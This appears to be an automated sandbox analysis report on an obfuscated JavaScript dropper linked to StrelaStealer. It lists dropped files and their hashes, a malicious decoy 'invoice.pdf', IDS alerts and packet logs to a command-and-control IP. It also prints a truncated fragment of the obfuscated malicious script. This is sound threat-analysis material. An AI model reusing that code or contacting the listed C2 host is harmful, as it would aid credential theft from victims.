Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d96e1827-7e03-44fc-a5a2-b277ecddf20b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\de56eb22-c300-47fe-b3ee-6332ac2d2eee.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xLZwYIGNPldpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oYGZd:JVwZGP3mlind9i4ufFXpAXkrfUs0CWLH
MD5:	E4AEA8A76FCC4B0FCDBA8DE5ABDE43A6
SHA1:	56C0F0078C065DD791265C56C79AF8E0B627859D
SHA-256:	B9376E4E0FF729495723999BC5E812215C8D58881636E10743B944BEB03B11B9
SHA-512:	7F416E6397E3CE70D708BCE4A09714E70867DC22939270CAE902DFD9625858AECE8D2D455F83F5F41E81616DB53A37CB08E3122F97A057CBFEF98A632B875C2B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e34f6d8e-a902-47e1-a9b1-cdbc2c92718e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:uoD9WL07oXGZflYIGNPZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:uy9WLxXGZNZGH3mlind9i4ufFXpAXkru
MD5:	130BE2FD618BFD72EFAE881EB827AE8F
SHA1:	943042DBAF8A8E2F70A79F41F6B0C76880D62803
SHA-256:	647467C57EE2B583A18E9946EA78CEC9265634A35F8A5E584097818DAA596004
SHA-512:	4741A8FC7E59C5260EA1AF15C3C82FA95625FE3CB1025F311C859B4F9732A126826C4E2FFDAACB7CF72CE15DD901AAC4F2152DACDF7AABAD07CA4A901DDEE9BC
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17900), with CRLF line terminators
Entropy (8bit):	4.906074628969688
TrID:
File name:	2851627061208688962.js
File size:	21'289 bytes
MD5:	a699abe4d848593a44ceb8777f78d8f9
SHA1:	b5e478b0c3dfd74589320ffe3a5ae8665c9a004c
SHA256:	f5b5162abafd654fb2b799bc54d8a4f3a03614c4076295c9f0df5e85a91f7441
SHA512:	ac81b3624efbb1ee243398e156dfb0f311e48e22fb2be73afd927989f7b836504f3b87c22f7bf17f42e65c56ba2f899ed98f226b1dda82e16595365517c45511
SSDEEP:	384:wzJAmC1nccLvrLNHFHAVL4Z0dik4tHf5dhwzHV5QhYY0svV0JPPW0kTnhPUq+hcP:w+zriDsXN5
TLSH:	0FA265CFD919E34642D98FB699F62CF9626C42CDC699C08C394704A93709792DDF313A
File Content Preview:	function jgplea(){wghdpxkdo=[1031,3079,5127,4103,2055,3072];var mqwwdzk=this[nnjzezkzs+oxvyl+kggrylv+pfauj+lvgwu+yuqlh+yhtgd+mxnmjzf](this[skpjus+dnuvn+dljrmmxha+kggrylv+agpobrtm+nnjzezkzs+mxnmjzf][imktjwxjh+kggrylv+lvgwu+oxvyl+mxnmjzf+lvgwu+pwvoavsa+nwva

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:18:47.021823+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49716	193.143.1.205	80	TCP
2025-01-11T02:18:47.021823+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49716	193.143.1.205	80	TCP
2025-01-11T02:18:49.934270+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49733	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:18:46.193123102 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:46.197953939 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:46.198039055 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:46.202255011 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:46.207068920 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.021711111 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.021755934 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.021781921 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.021795034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.021807909 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.021820068 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.021822929 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.021832943 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.021847963 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.021851063 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.021898985 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.021955013 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.021965981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.022025108 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.026663065 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.026679993 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.026726961 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.081578016 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.081595898 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.081643105 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.081650019 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.081688881 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.081728935 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.145658970 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.145678043 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.145689964 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.145735979 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.145796061 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.145826101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.145832062 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.146025896 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.146064043 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.146085024 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.146099091 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.146133900 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.146179914 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.146193027 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.146231890 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.146936893 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.146950960 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.146965027 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.146997929 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.147067070 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.147079945 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.147114038 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.147804976 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.147819996 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.147833109 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.147852898 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.147866964 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.147933006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.147947073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.147989035 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.170835972 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.170931101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.170989990 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.205925941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.205945015 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.205959082 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.205991983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.206005096 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.206039906 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.206080914 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.234958887 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.234987020 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.235255003 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.269973993 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.270009995 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.270021915 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.270113945 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.270144939 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.270159006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.270189047 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.270190001 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.270236015 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.270344973 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.270416975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.270438910 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.270457029 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.270534992 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.270581007 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.270592928 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.270605087 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.270637989 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.271073103 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.271136999 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.271152973 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.271184921 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.271245956 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.271258116 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.271269083 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.271281004 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.271287918 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.271357059 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.271982908 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.271997929 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.272010088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.272087097 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.272099972 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.272145033 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.272145033 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.272145033 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.272650003 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.272664070 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.272675991 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.272716045 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.272727013 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.272727966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.272741079 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.272752047 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.272753000 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.272780895 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.273432970 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.273446083 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.273459911 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.273504972 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.273519039 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.273530006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.273541927 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.273570061 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.295181990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.295201063 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.295212984 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.295226097 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.295279026 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.295303106 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.295408010 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.330435991 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.330459118 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.330470085 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.330498934 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.330511093 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.330538034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.330549002 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.330554008 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.330637932 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.359297037 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.359333038 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.359344006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.359369993 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.359474897 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.394155979 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394182920 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394192934 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394205093 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394253016 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.394301891 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394359112 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394367933 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394398928 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.394438982 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394450903 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394474983 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.394540071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394575119 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.394583941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394596100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394629002 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.394699097 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394752026 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394762039 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.394797087 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.394984007 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395025969 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.395054102 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395066023 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395096064 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.395236969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395250082 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395262003 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395298958 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.395463943 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395525932 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.395536900 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395549059 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395581961 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.395706892 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395719051 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395730972 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395766973 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.395863056 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395873070 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.395898104 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:18:47.396126986 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.396138906 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.396151066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 02:18:47.396163940 CET	49716	80	192.168.2.6	193.143.1.205
